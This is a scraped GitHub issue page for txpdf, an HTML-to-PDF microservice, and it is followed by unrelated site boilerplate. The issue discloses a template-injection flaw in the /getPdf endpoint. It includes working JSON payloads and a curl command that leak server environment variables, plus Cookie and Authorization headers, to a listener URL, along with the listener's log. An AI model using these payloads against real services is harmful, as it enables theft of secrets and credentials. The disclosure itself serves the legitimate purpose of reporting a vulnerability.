txn2 / txpdf Goto Github PK
View Code? Open in Web Editor NEWHTML to PDF microservice
Home Page: https://mk.imti.co/webpage-to-pdf-microservice/
License: Apache License 2.0
HTML to PDF microservice
Home Page: https://mk.imti.co/webpage-to-pdf-microservice/
License: Apache License 2.0
The /getPdf
endpoint takes the body of the post request and uses it as a text/template
with the functions provided by sprig.TxtFuncMap()
. This allows for the exfil of the server's environment variables and potentially auth tokens included in the request by middleware.
input.json:
{
"options": {
"print_media_type": true
},
"pages": [
{
"Location": "http://localhost:8000?{{env .UserAgent}}"
}
]
}
curl -d '@input.json' -X POST http://localhost:8080/getPdf -A "PWD" --output test.pdf
Log from python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [04/Mar/2023 17:15:05] "GET /?/home/jsomerville/go/src/github.com/txn2/txpdf HTTP/1.1" 200 -
Or if this is running as a microservice you could steal the request headers that may have been added for S2S auth:
{
"options": {
"print_media_type": true
},
"pages": [
{
"Location": "http://localhost:8000?{{.Header.Get `Cookie`}};;{{.Header.Get `Authorization`}}"
}
]
}
How can I import this project in my code? does it have documents and examples?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.